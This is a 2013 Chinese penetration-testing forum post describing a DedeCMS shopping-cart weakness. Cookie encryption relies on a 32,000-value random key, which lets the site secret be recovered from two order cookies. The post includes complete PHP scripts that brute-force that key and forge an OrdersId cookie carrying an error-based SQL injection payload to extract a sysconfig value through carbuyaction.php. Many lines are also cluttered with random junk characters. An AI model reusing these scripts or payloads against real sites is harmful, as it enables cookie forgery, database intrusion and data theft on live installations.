中国网络渗透测试联盟

标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-13 23:58
标题: 织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=  q$ z! u/ l/ H
在 include/shopcar.class.php中
% w3 w6 c4 h  L6 ~/ u- ?先看一下这个shopcar类是如何生成cookie的) G: ?9 u% P- q6 Y+ b
239      function saveCookie($key,$value)  y7 a( \/ A+ z8 ?" }9 o
240      {
2 n, w: t8 I' }" v0 p241          if(is_array($value))
* S% E8 ]/ H" Q, x5 U" ~242          {
& t% B. I6 r6 V; L. t243              $value = $this->enCrypt($this->enCode($value));
  O/ d* o( j! q244          }
& S$ b0 x2 s( W* r+ C8 e; s+ o245          else4 L* G5 D# p, U+ Y# X
246          {4 Y5 `) Q# @% |: b- |
247              $value = $this->enCrypt($value);- t, f. [/ L" k9 p' v% N& K/ e
248          }/ K4 B. R- Y* b4 I7 D3 ~
249          setcookie($key,$value,time()+36000,’/');6 o8 O0 V/ e: z- f! r# {. J
250      }' y4 u: _/ O0 i3 a6 S3 v/ S6 g
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
% X% c* I) A4 k2 @; y. }186      function enCrypt($txt)
2 k; _9 F5 m9 l' T7 ?0 p8 H187      {
& d+ A' k3 ^* o6 U. Y188          srand((double)microtime() * 1000000);0 c# a8 r; R( C8 ~
189          $encrypt_key = md5(rand(0, 32000));% l) e, b  v0 [
190          $ctr = 0;1 l; E" o% u* T; L/ [
191          $tmp = ”;
0 H  P5 A8 w9 T8 E. f4 n192          for($i = 0; $i < strlen($txt); $i++)/ H7 V3 [" B& U& z/ P5 ^
193          {
* Y1 x# G$ |+ C6 O$ ^: |! Q* X' {194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;+ J9 g! W9 e7 \
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);- k- @2 Z" y  U
196          }
1 N8 d7 [/ Q( t( b+ B: k$ b# H8 G197          return base64_encode($this->setKey($tmp));
! l- Q' f+ X: s198      }3 G2 u- q1 _0 o; J, {: g
213      function setKey($txt)
2 ~6 L5 O6 b) C& h' |$ b3 N214      {
; S$ \# D. R# ?215          global $cfg_cookie_encode;
/ n/ l& g3 Z: E( m8 z1 ^* |216          $encrypt_key = md5(strtolower($cfg_cookie_encode));8 w# E4 P. L9 g' c, o) p$ C3 {
217          $ctr = 0;( x+ A+ X2 ]' w$ D- Y
218          $tmp = ”;
. ]2 Q( r5 U( C; w/ {: A219          for($i = 0; $i < strlen($txt); $i++)4 C6 m, Y% t3 V+ H& i
220          {: R, k+ t6 e3 S, L) {6 `6 u/ S
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 c1 w) r2 q3 z1 S' i1 Q222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];* K- z) Q5 n. e4 a, r$ q
223          }& s- n2 h5 z9 A) n3 y* C
224          return $tmp;
8 f/ W* \+ p' ?9 r3 L$ T  _4 Q! V- N225      }
* I: z+ A6 B4 g' j6 j9 tenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的, ?8 Y) b1 Z& g, J
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。- O8 K. R5 h- z5 ^
具体代码如下:  Q" z  T7 B6 }: t$ R! w' C$ d1 O
<?php8 W# C9 a/ u8 e; a' {( j4 ]& E
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
3 d% n& o7 o6 i* ~+ B( ~$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
: M  T. Y* e* F5 j9 _+ J$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
0 ~8 N( u. z( C( L" Y3 bfunction reStrCode($code,$string)
: b2 C. e6 C: D- F6 c{+ v3 P9 @5 K- N3 Q. A  \7 Y
$code = base64_decode($code);5 ?% I( \1 I& u) L7 m; P! {5 c
$key = “”;: B. o: f! e5 S! n+ \
for($i=0 ; $i<32 ; $i++)3 a3 h# S% m! R5 C' u
{% X7 r3 j6 X8 a! I  a3 h) L
$key .= $string[$i] ^ $code[$i];
3 V- c! w4 ?- R7 L& R$ Y- H* u}" E8 x+ R  v& W
return $key;
- h" f$ ?3 u, M. p3 ?}- G( S3 F& \, c2 q) l5 X
function getKeys($cookie,$plantxt)  D- _) t# M8 w
{2 K2 l3 |& H6 {% v) Q4 e& @
$tmp = $cookie;
* L! p- I+ s! h$ }/ y+ B8 a# o  s$results = array();- z' V( o" k. |) T
for($j=0 ; $j < 32000; $j++)3 o$ c0 ?1 O, g" |4 O; ^9 e
{  K# X- V, b$ M3 ~* ?' f* D

4 s" w! s+ j$ G$txt = $plantxt;
3 n+ j6 N2 F: h4 H, A$ctr = 0;% V4 B' N8 F6 C
$tmp = ”;
% G, h( C4 [" Z/ B+ ?2 y5 K, J$encrypt_key = md5($j);- z! R) G3 p- t5 K
for($i =0; $i < strlen($txt); $i ++)
" L- z9 c2 E" D7 ?{$ M. _1 f  N, ^" O: i4 Y1 d8 K3 Q- T
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ z! C0 {5 \( i4 G5 M, Q! S2 R" B& @$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);5 u* Q( Z& ?( I5 z2 o
}! T7 z" [( R) S; u6 A
$string = $tmp;
1 k' N8 h1 z9 Z2 r* q. ?- l0 M! U$code = $cookie;. U& @6 Y6 ^  |8 W3 {& `$ y: c7 z9 `
$result = reStrCode($code,$string);- l4 p% d) M8 N2 K# F" b
if(eregi(‘^[a-z0-9]+$’,$result))
; W3 j! V- w; I8 t; @% W+ o{; f1 ^% k4 G6 x% B5 X9 o
echo $result.”\n”;
% w3 n* l0 i, b. e+ C, |$results[] = $result;. w  d3 d' m7 b/ \5 A0 R3 e
}) K4 E, A' d7 l0 p+ @: O- I
}. m6 o0 `( Q# L5 ~( e' }, x
return $results;
6 f; K" R$ F! `  ^}2 P6 k2 A& m$ v* R
$results1 = getKeys($cookie1,$plantxt);
! {" x4 I; Y3 r6 i' m% R3 W' e. K$results2 = getKeys($cookie2,$plantxt);
7 X6 X; i3 k8 \/ s; [% o$ P1 I4 Tprint “\n——————–real key————————–\n”;$ x1 [$ u8 z6 F0 m, m
foreach($results1 as $test1)9 [2 f* E# I7 ~, M3 Q
{+ x' c* I8 v# R$ t, H) p7 W; z
foreach($results2 as $test2)
8 g6 E% H  N7 s" w{
8 `$ |( a. K: s1 ]5 M- h$ t! b& k: [if($test1 == $test2); Q( B2 q* T: _$ e
{
; H3 s* ~" a( p# e2 fecho $test1.”\n”;
/ {% F% J8 ]2 K% d}
; o! {- c8 L- }1 Z% [) o) B}7 s. H/ K- p% }' h: G, v5 h6 A1 k
}) {% R" O1 G' C* F1 J
?>3 g( h* G9 X+ W4 `9 S1 J; p: x# ]
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,( Y. F; a* }3 m3 R, h6 e
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
  l6 g8 G2 E  l5 U8 P' W然后推算出md5(strtolower($cfg_cookie_encode))
3 N6 l. Q" k% X4 B得到这个key之后,我们就可以构造任意购物车的cookie2 r3 s8 H+ U) V+ _
接着看
% L( }5 s" Q* q, p) u20  class MemberShops+ x' V, z* u1 _4 Y
21  {
5 w/ p: p  W  j0 `22      var $OrdersId;
2 ^# k1 ^7 O* n4 M2 ^+ F- n23      var $productsId;
, {8 o* ?+ G( e* `/ V: D' b24  {- ^0 f+ d/ U2 ^
25      function __construct()
; d8 Y& v% l6 `7 H. J2 b1 B) t26      {
8 z7 u5 @+ J" `: F: W27          $this->OrdersId = $this->getCookie(“OrdersId”);( l) D& }" x) S4 p7 r% P2 s
28          if(empty($this->OrdersId))
& A/ h- y+ o. h' g29          {4 j8 v' W8 r+ h/ s4 v6 H2 o
30              $this->OrdersId = $this->MakeOrders();
. p' h6 \+ E; q( W. R, q; B  `31          }. T' b- T7 y! Z2 y; z
32      }
/ i0 i9 R0 B$ z5 X; Y$ J发现OrderId是从cookie里面获取的
9 l5 O1 B) i% b" b, a2 z  Q: i然后
: k2 ]4 e1 D( g( }/plus/carbuyaction.php中的# I, q0 [1 h. {$ V6 E6 M- M
29      $cart    = new MemberShops();; ?3 j0 R- v5 i# s2 r; N
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
" P+ r" _! P; R' v1 T& w  {; L……
9 `: w2 F3 {9 U6 O- C  s5 j" k173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);+ y+ _% |3 V6 i) \4 L! E
接着我们就可以注入了
% ?8 d8 k4 L& G  {# E通过利用下面代码生成cookie:
/ g4 h. T$ O6 w# V2 T<?php
, u1 @* u" w/ Z' R" {3 U9 k5 f; ]$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;8 t9 z: o/ e) F7 C" N8 _" g* A( {
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here
, ]5 k/ [9 Z2 ?" |6 w. G! L/ ?' J3 Afunction setKey($txt)1 w0 q$ c7 D4 R4 M
{
6 o' b" p/ X( c# Xglobal $encrypt_key;
& w: k4 u$ t+ O$ctr = 0;) V) Z2 _6 F# u$ I8 Q. h& u8 V
$tmp = ”;8 [8 W1 M( q7 l& h; {
for($i = 0; $i < strlen($txt); $i++)6 [9 o& _% |6 V) d# ?
{
1 m" F  l1 N- u5 R( O$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;% e; m1 o. H& J( B) K6 B
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];4 I6 [' o( L4 U2 X0 L  h2 {
}+ L& h2 O) ~4 S3 v$ B2 z
return $tmp;" l, ^0 v- n& d, H, @
}0 P+ \7 p! T$ s. ]; F& S$ Y
function enCrypt($txt)
& H, W6 _6 @( w/ U# _& O# [5 W+ o{0 z0 g( p9 q  [" q) J' \- Q
srand((double)microtime() * 1000000);
/ l5 o$ G& T* L  X% u1 l$encrypt_key = md5(rand(0, 32000));
$ u' [) B1 r$ F) r; B$ctr = 0;
. q* A4 w) W& J- i* t9 g$tmp = ”;9 K" f" c5 A7 D( _
for($i = 0; $i < strlen($txt); $i++)" Z" P' N) h- y0 G. v
{: G6 V* ]" F& I, w+ r
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;3 F- G. m$ i, n5 e
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
" d. Y& W1 C4 I}
+ m6 g! g6 m$ \! l, treturn base64_encode(setKey($tmp));+ W8 v# ?* I3 W$ o7 R2 V* J7 A* o
}
* r0 E, ^3 y6 z' ?for($dest =0;$dest = enCrypt($txt);)& O, z0 A! Z6 `- }3 J
{
* h# O/ C) Q/ t0 K# Lif(!strpos($dest,’+'))! F! u) A6 e+ B) W0 J' Q
{
6 O$ s3 a5 c- q8 q3 {& lbreak;
- \' e8 Y2 h( {# O3 B9 m}! }& b5 v4 v, {: i& ^
}
$ b8 b- C5 B' }echo $dest.”\n”;
9 v% I% }0 j# o4 r?>
4 x" @7 ]" U; |, V( h" _4 a9 u* g" b/ `: o% }5 O& P8 A! }5 f
​




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2